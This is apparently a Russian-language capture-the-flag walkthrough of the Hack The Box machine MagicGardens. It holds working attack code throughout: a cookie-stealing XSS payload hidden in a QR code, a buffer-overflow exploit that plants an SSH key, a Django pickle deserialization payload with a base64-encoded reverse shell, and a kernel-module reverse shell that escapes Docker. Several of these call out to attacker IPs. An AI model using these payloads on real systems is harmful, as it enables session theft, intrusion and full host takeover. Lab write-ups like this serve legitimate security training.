Пе­репол­нение буфера — клас­сичес­кая уяз­вимость, зна­ние которой по‑преж­нему иног­да при­гож­дает­ся. Но преж­де чем доберем­ся до уяз­вимого при­ложе­ния, зах­ватим админку Django, украв куки через XSS. Так­же нам пред­сто­ит про­вес­ти ата­ку через механизм Pickle в Python и сбе­жать из Docker.

На­ша глав­ная цель — получе­ние прав супер­поль­зовате­ля на машине MagicGardens с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности задания — «безум­ный».

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.9 magicgardens.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел четыре откры­тых пор­та:

Docker Registry исполь­зует HTTP-аутен­тифика­цию, учет­ных дан­ных от SSH у нас пока нет, поэто­му начина­ем с изу­чения дос­тупно­го нам веб‑сай­та.

Главная страница сайта
Глав­ная стра­ница сай­та

Точка входа

На сай­те ничего инте­рес­ного най­ти не уда­лось, поэто­му прис­тупим к ска­ниро­ванию.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch, DIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

За­даем все парамет­ры и запус­каем ска­ниро­вание:

feroxbuster -u http://magicgardens.htb/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128
Результат сканирования каталогов
Ре­зуль­тат ска­ниро­вания катало­гов

В чис­ле про­чего находим админку Django на стра­нице /admin.

Содержимое страницы /admin
Со­дер­жимое стра­ницы /admin

Так­же на сай­те есть воз­можность авто­риза­ции и регис­тра­ции.

Форма авторизации
Фор­ма авто­риза­ции

Ав­торизо­ван­ному поль­зовате­лю всег­да дос­тупно боль­ше воз­можнос­тей, поэто­му сра­зу же регис­три­руем­ся. Теперь нам дос­тупны такие фун­кции, как выбор товаров и даже сис­тема под­писки — что‑то вро­де получе­ния пос­тоян­ной скид­ки на товары.

Страница Subscription
Стра­ница Subscription
Сообщение о запросе подписки
Со­обще­ние о зап­росе под­писки

Су­дя по сооб­щению на стра­нице, пос­ле под­твержде­ния бан­ка мы дол­жны были получить QR-код, одна­ко ничего такого не про­изош­ло. А еще при выборе товара нам при­дет сооб­щение от какого‑то morty, который говорит, что если отпра­вим ему QR-код, то получим свою скид­ку.

Входящие сообщения
Вхо­дящие сооб­щения

Пе­рей­дем к Burp History и прой­дем­ся по зап­росам в поис­ках чего‑нибудь ано­маль­ного и инте­рес­ного. Нап­ример, в зап­росе к бан­ку в парамет­ре bank ука­зан какой‑то адрес.

Запрос в Burp History
Зап­рос в Burp History

За­пус­тим лис­тенер на пор­те 80, перенап­равим зап­рос в Burp Repeater и ука­жем в парамет­ре bank адрес сво­его сер­вера.

Запрос в Burp Repeater
Зап­рос в Burp Repeater
Логи листенера
Ло­ги лис­тенера

Лис­тенер засечет HTTP-зап­рос с сер­вера. Так как никако­го отве­та мы не отпра­вили, на сер­вере отоб­ражено не такое сооб­щение, как рань­ше.

Сообщение о недоступности банка
Со­обще­ние о недос­тупнос­ти бан­ка

То есть, если мы отве­тим сер­веру, смо­жем получить нуж­ный QR-код.

Точка опоры

Сде­лаем на Python сер­вер, который будет отве­чать на зап­рос к /api/payments/.

from flask import Flask, jsonify, request
app = Flask(__name__)
@app.route('/api/payments/', methods=['POST'])
def func_payment():
r_json = request.get_json()
r_json['status'] = "200"
return jsonify(r_json)
app.run(host='0.0.0.0', port=80, debug=True)

За­пус­каем код, а затем пов­торя­ем зап­рос с под­меной адре­са сво­им.

Логи сервера
Ло­ги сер­вера
Сообщение на странице
Со­обще­ние на стра­нице

Те­перь получа­ем сооб­щение, что под­писка в обра­бот­ке, а при обновле­нии стра­ницы появ­ляет­ся желан­ный QR-код.

Страница Subscription
Стра­ница Subscription

Рас­шифру­ем QR-код, что­бы понимать, какие дан­ные он хра­нит.

Декодированный QR-код
Де­коди­рован­ный QR-код

Ско­рее все­го, morty про­веря­ет имя поль­зовате­ля, ког­да декоди­рует QR-код. Поп­робу­ем вмес­то име­ни акка­унта под­ста­вить код на JavaScript. Прев­ратить его в QR мож­но при помощи он­лай­нового генера­тора.

3cca634013591eb51173fb6207572e37.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror=this.src='http://10.10.16.51/?c='+document.cookie>

Этот код отпра­вит на наш сер­вер cookie поль­зовате­ля. Запус­каем лис­тенер (nc -nlvp 80) и отправ­ляем в ответном сооб­щении поль­зовате­лю morty сге­нери­рован­ный QR-код. Поч­ти сра­зу получа­ем зап­рос с сес­сион­ным иден­тифика­тором поль­зовате­ля.

Логи листенера
Ло­ги лис­тенера

В хра­нили­ще бра­узе­ра под­став­ляем получен­ный sessionid и обновля­ем стра­ницу. Таким обра­зом мы зах­ватыва­ем акка­унт morty.

Профиль пользователя morty
Про­филь поль­зовате­ля morty

Пе­рехо­дим на стра­ницу /admin и получа­ем дос­туп к нас­трой­кам Django.

Страница администрирования Django
Стра­ница адми­нис­три­рова­ния Django

Сре­ди парамет­ров акка­унта поль­зовате­ля morty есть и хеш его пароля.

Информация о пользователе morty
Ин­форма­ция о поль­зовате­ле morty

Ло­маем хеш с помощью hashcat и исполь­зуем получен­ные учет­ные дан­ные для вхо­да на сер­вер по SSH.

hashcat 'pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=' rockyou.txt
Результат перебора пароля
Ре­зуль­тат перебо­ра пароля
Сессия пользователя morty
Сес­сия поль­зовате­ля morty

Продвижение

Мы в сис­теме, а зна­чит, нуж­но соб­рать информа­цию о ней. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­рузим скрипт на уда­лен­ный хост, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. А затем смот­рим, что уда­лось най­ти.

На хос­те есть Docker, одна­ко мы не в кон­тей­нере.

Информация о контейнерах
Ин­форма­ция о кон­тей­нерах

Сре­ди запущен­ных про­цес­сов есть какой‑то harvest server, работа­ющий в кон­тек­сте поль­зовате­ля alex.

Список процессов
Спи­сок про­цес­сов

Поль­зователь alex сос­тоит в боль­шом количес­тве групп.

Список всех пользователей
Спи­сок всех поль­зовате­лей

У поль­зовате­ля alex есть вхо­дящие сооб­щения.

Список входящих сообщений
Спи­сок вхо­дящих сооб­щений

Ин­форма­ции отоб­рали мно­го, одна­ко она вся про дру­гого поль­зовате­ля. Перей­ти к Алек­су мож­но толь­ко через уяз­вимость в сер­вере harvest. Ска­чива­ем исполня­емый файл на свою машину для ана­лиза.

Меню Help приложения harvest
Ме­ню Help при­ложе­ния harvest

За­пус­тим сер­верную часть и про­верим прос­лушива­емые пор­ты. Так узна­ем, что при­ложе­ние прос­лушива­ет порт 1337.

./harvest server -i eth0
netstat -an
Прослушиваемые порты
Прос­лушива­емые пор­ты

Я под­клю­чил­ся к это­му пор­ту через netcat, отпра­вил тес­товые дан­ные и получил сооб­щение о невер­ном хен­дшей­ке.

Проверка работы сервера
Про­вер­ка работы сер­вера

Сер­вер как‑то про­веря­ет получен­ные дан­ные. Что­бы понять, как он это дела­ет, про­ана­лизи­руем файл в деком­пилято­ре. В IDA Pro ком­бинаци­ей кла­виш Shift-F12 отоб­разим все стро­ки в исполня­емом фай­ле. Най­дем стро­ку [x] Handshake error и перей­дем к мес­ту ее исполь­зования в коде прог­раммы. Так мы получа­ем деком­пилиро­ван­ный код фун­кции harvest_handshake_server.

Декомпилированный код harvest_handshake_server
Де­ком­пилиро­ван­ный код harvest_handshake_server

В этой фун­кции получен­ная стро­ка срав­нива­ется со стро­кой harvest v... (стро­ка 17). Что­бы получить пол­ную стро­ку, с которой про­изво­дит­ся срав­нение, запус­тим сер­вер в ltrace.

ltrace ./harvest server -i eth0
echo "harvest v123" | nc localhost 1337
Логи ltrace
Ло­ги ltrace

В фун­кци­ях strlen и strcmp мож­но уви­деть валид­ную стро­ку. Отпра­вим ее сер­веру и в ответ получим какие‑то дан­ные о сети. Зна­чит, про­вер­ка прой­дена.

echo "harvest v1.0.3" | nc localhost 1337
Полученные с сервера данные
По­лучен­ные с сер­вера дан­ные

Вер­немся к деком­пилято­ру. Пос­ле harvest_handshake_server сле­дует вызов фун­кции handle_raw_packets, в которой в зависи­мос­ти от получен­ного сетево­го пакета про­исхо­дит вызов фун­кций print_packet или log_packet (стро­ки 47–51).

Декомпилированный код handle_raw_packets
Де­ком­пилиро­ван­ный код handle_raw_packets

Фун­кция print_packet отпра­вит дан­ные обратно кли­енту. Судя по фор­мату, имен­но их мы получи­ли ранее.

Декомпилированный код print_packet
Де­ком­пилиро­ван­ный код print_packet

А вот фун­кция log_packet выводит дан­ные в файл. Фор­мат дан­ных и имя фай­ла заданы ста­тичес­ки, с огра­ничен­ным раз­мером (стро­ки 4 и 5).

Декомпилированный код log_packet
Де­ком­пилиро­ван­ный код log_packet

Сра­зу обра­тим вни­мание на некон­тро­лиру­емое копиро­вание дан­ных в огра­ничен­ный по раз­меру мас­сив в стро­ке 11, здесь потен­циаль­ное перепол­нение буфера. Давай в этом убе­дим­ся.

Переполнение буфера

Пер­вым делом нам нуж­но опре­делить сме­щение, дос­таточ­ное для переза­писи дан­ных в памяти. Для это­го мож­но сге­нери­ровать пос­ледова­тель­ность де Брёй­на дли­ной 65 500 байт. Она поможет быс­тро вычис­лять раз­меры исполь­зуемых буферов.

msf-pattern_create 65500 > s.txt

Да­вай наб­роса­ем на Python скрипт, который авто­мати­чес­ки будет откры­вать соеди­нение с сер­вером и отправ­лять дан­ные из фай­ла.

import socket
import os
os.system('echo "harvest v1.0.3" | nc 127.0.0.1 1337')
address6 = ('::1', 1337)
s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s6.connect(address6)
data = ''
with open('s.txt', 'rb') as f:
data = bytearray(f.read())
s6.send(data)

Те­перь, если запус­тить сер­верную часть, а затем выпол­нить скрипт, прог­рамма ава­рий­но завер­шится с ошиб­ками, а в текущем катало­ге появит­ся непонят­ный файл. При этом в фай­ле так­же при­сутс­тву­ют дан­ные из сге­нери­рован­ной пос­ледова­тель­нос­ти.

Содержимое каталога
Со­дер­жимое катало­га
Содержимое файла
Со­дер­жимое фай­ла

Та­ким обра­зом, если сфор­мировать дан­ные в опре­делен­ном фор­мате, то мож­но будет соз­дать на сер­вере файл с опре­делен­ным наз­вани­ем и содер­жимым. Запус­тим сер­верную часть в strace и выпол­ним экс­пло­ит. Затем в логах strace най­дем фун­кцию откры­тия фай­ла.

Логи strace
Ло­ги strace

Во вто­ром парамет­ре фун­кции переда­ется имя фай­ла. По пер­вым четырем сим­волам мы смо­жем опре­делить сме­щение подс­тро­ки в общей пос­ледова­тель­нос­ти де Брёй­на.

msf-pattern_offset -l 65500 -q Fu8F
Определение смещения
Оп­ределе­ние сме­щения

Та­ким обра­зом, мы можем записать имя фай­ла по сме­щению 65 364 + 8. Изме­ним экс­пло­ит так, что­бы на сер­вере соз­давал­ся файл с име­нем id_rsa (мы смо­жем записать туда извес­тный нам при­ват­ный ключ SSH, который поз­волит нам авто­ризо­вать­ся).

import socket
import os
os.system('echo "harvest v1.0.3" | nc 127.0.0.1 1337')
address6 = ('::1', 1337)
s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s6.connect(address6)
data = ''
with open('s.txt', 'rb') as f:
data = bytearray(f.read())
data = data[:65364 + 8] + b"id_rsa"
s6.send(data)
Запись файла id_rsa
За­пись фай­ла id_rsa

Файл id_rsa успешно соз­дан. Теперь похожим обра­зом опре­делим, по какому сме­щению находят­ся дан­ные, которые попада­ют в файл.

msf-pattern_offset -l 65500 -q Aa4A
Определение смещения
Оп­ределе­ние сме­щения

В файл попада­ют поч­ти все дан­ные, поэто­му возь­мем за осно­ву сме­щение 12. Сге­нери­руем ключ SSH и помес­тим его по сме­щению 12. Стро­ка с клю­чом дол­жна завер­шать­ся сим­волом /n. Так­же заменим тес­товый файл id_rsa пол­ным путем /home/user/.ssh/authorized_keys.

import socket
import os
os.system('echo "harvest v1.0.3" | nc 127.0.0.1 1337')
address6 = ('::1', 1337)
s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s6.connect(address6)
data = ''
with open('s.txt', 'rb') as f:
data = bytearray(f.read())
ssh_key = ''
with open('id_rsa.pub', 'rb') as k:
ssh_key = bytearray(k.read())
ssh_key += b"\n"
data = data[:12] + ssh_key + data[12 + len(ssh_key) : 65364 + 8] + b"/home/user/.ssh/authorized_keys"
s6.send(data)
Запись в файл authorized_keys
За­пись в файл authorized_keys

Экс­пло­ит отра­ботал успешно, SSH-ключ записан. Перено­сим его на сер­вер MagicGardens и выпол­няем.

import socket
import os
os.system('echo "harvest v1.0.3" | ./nc 127.0.0.1 1337')
address6 = ('::1', 1337)
s6 = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s6.connect(address6)
ssh_key = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOrhbgmrpDGWBmvl8HgrA1wTPJ/JGIgz6248rZSR7Ogv ralf@hacker'
ssh_key += b"\n"
data = b"A"*12
data += ssh_key
data += b"A"*(65364 + 8 - 12 - len(ssh_key))
data += b"/home/alex/.ssh/authorized_keys"
s6.send(data)

За­тем под­клю­чаем­ся к сер­веру по SSH с при­ват­ным клю­чом и чита­ем пер­вый флаг.

Флаг пользователя
Флаг поль­зовате­ля

Локальное повышение привилегий

По­лучив сес­сию поль­зовате­ля alex, пер­вым делом про­верим най­ден­ное ранее вхо­дящее сооб­щение /var/mail/alex.

Содержимое файла /var/mail/alex
Со­дер­жимое фай­ла /var/mail/alex

В сооб­щении переда­валось вло­жение auth.zip. Декоди­руем дан­ные из Base64 и откры­ваем архив.

cat auth.zip.b64 | base64 -d > auth.zip
Содержимое файла auth.zip
Со­дер­жимое фай­ла auth.zip

В архи­ве — файл с учет­ными дан­ными для дос­тупа к registry, одна­ко сам архив запаро­лен. С помощью zip2john получа­ем хеш пароля, который затем под­бира­ем с помощью hashcat.

hashcat -m 17210 --username zip_hash rockyou.txt
Результат подбора пароля
Ре­зуль­тат под­бора пароля

Пос­ле извле­чения фай­ла passwd перебе­рем хеш пароля из него.

Содержимое файла passwd
Со­дер­жимое фай­ла passwd
hashcat -m 3200 --username htpasswd rockyou.txt
Результат подбора пароля
Ре­зуль­тат под­бора пароля

Те­перь с помощью DockerRegistryGrabber получим спи­сок репози­тори­ев.

python3 drg.py https://10.10.11.9 -U alex -P diamonds --list
Список репозиториев
Спи­сок репози­тори­ев

Сдам­пим все содер­жимое, для чего ука­жем параметр --dump_all.

python3 drg.py https://10.10.11.9 -U alex -P diamonds --dump_all
Дамп репозиториев
Дамп репози­тори­ев

Пос­ле рас­паков­ки всех архи­вов и быс­тро­го ана­лиза находим в фай­ле .env в катало­ге 4803...64fb сек­ретный ключ Django.

Содержимое файла .env
Со­дер­жимое фай­ла .env

В том же репози­тории находим под­клю­чение модуля PickleSerializer.

Настройки фреймворка Django
Нас­трой­ки фрей­мвор­ка Django

PickleSerializer RCE

Pickle — это модуль Python, который при­меня­ется для сери­али­зации дан­ных, но, в отли­чие от JSON или YAML, он поз­воля­ет сери­али­зовать целые объ­екты вмес­те со свой­ства­ми и метода­ми. Опас­ность здесь в том, что мож­но сери­али­зовать объ­ект с вре­донос­ным кодом в методе __reduce__(), который сра­бота­ет при рас­паков­ке объ­екта.

Ус­тановим django-docker-template, пос­ле чего перей­дем в инте­рак­тивную кон­соль Python.

git clone https://github.com/amerkurev/django-docker-template.git
cd django-docker-template
sudo docker build -t django-docker-template:master .
sudo docker run --rm django-docker-template:master python manage.py test
docker run -it --rm -v sqlite:/sqlite django-docker-template:master python manage.py shell

Те­перь соз­даем и сери­али­зуем объ­ект, в методе __reduce__ которо­го выпол­няем вот такой реверс‑шелл:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.87/4321 0>&1'

Толь­ко пред­варитель­но закоди­руем его в Base64.

from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings
settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")
import subprocess
class CreateTmpFile(object):
def __reduce__(self):
return (subprocess.call, (['bash', '-c','echo L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuODcvNDMyMSAwPiYxJw== | base64 -d | bash'],))
sess = signing.dumps(obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies' )
print(sess)
Создание сессии
Соз­дание сес­сии

Те­перь запус­каем лис­тенер pwncat-cs -lp 4321 и отправ­ляем зап­рос к сер­веру, где исполь­зуем сге­нери­рован­ные cookie. Сра­зу же получа­ем сес­сию от име­ни рута.

Запрос к серверу
Зап­рос к сер­веру
Сессия пользователя root
Сес­сия поль­зовате­ля root

Побег из Docker

У нас есть рут в «Докере», а зна­чит, нуж­но подумать, какие есть пути выхода из него, так как это даст нам при­виле­гии root на хос­товой сис­теме. Пер­вым делом про­верим Linux capabilities.

Справка: Linux capabilities

В Linux поль­зователь root получа­ет осо­бый кон­текст при запус­ке любых про­цес­сов. Так, ядро и при­ложе­ния, работа­ющие от име­ни root, обыч­но про­пус­кают любые огра­ниче­ния, задан­ные на дей­ствия в опре­делен­ном кон­тек­сте, поэто­му root может делать все, что захочет. Но что, если опре­делен­ному про­цес­су, который работа­ет в неп­ривиле­гиро­ван­ном кон­тек­сте, нуж­но выпол­нить тре­бующее при­виле­гий дей­ствие, не повышая уров­ня прав?

Нап­ример, быва­ет нуж­но поз­волить про­цес­су про­изво­дить запись в жур­нал ауди­та ядра, но не поз­волять отклю­чить этот аудит. Ведь если запус­тить этот про­цесс в кон­тек­сте рута, он смо­жет выпол­нить оба дей­ствия!

Тут на помощь и при­ходят Linux capabilities. Эти «воз­можнос­ти» пре­дос­тавля­ют про­цес­су не все мно­жес­тво при­виле­гий, а какое‑то его под­мно­жес­тво. Дру­гими сло­вами, все при­виле­гии рута раз­бива­ются на более мел­кие незави­симые друг от дру­га при­виле­гии и про­цесс получа­ет толь­ко те, которые ему нуж­ны.

По­лучить спи­сок capabilities мож­но с помощью коман­ды capsh --print.

Linux capabilities
Linux capabilities

В спис­ке есть воз­можность CAP_SYS_MODULE, которая поз­воля­ет про­цес­су заг­ружать и выг­ружать модули ядра, пред­лагая пря­мой дос­туп к основным ядер­ным опе­раци­ям. Эта воз­можность обес­печива­ет повыше­ние при­виле­гий и пол­ную ком­про­мета­цию сис­темы, поз­воляя вно­сить изме­нения в ядро и обхо­дить все механиз­мы безопас­ности Linux, вклю­чая и изо­ляцию кон­тей­неров. В кон­тей­нере ском­пилиру­ем сле­дующий модуль, который выпол­нит реверс‑шелл.

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.87/5432 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Те­перь запус­каем лис­тенер (pwncat-cs -lp 5432) и под­гру­жаем модуль через insmod.

insmod reverse-shell.ko
Компиляция и загрузка модуля
Ком­пиляция и заг­рузка модуля

На лис­тенер сра­зу при­лета­ет сес­сия рута, но уже с хос­товой сис­темы.

Флаг рута
Флаг рута

Ма­шина зах­вачена!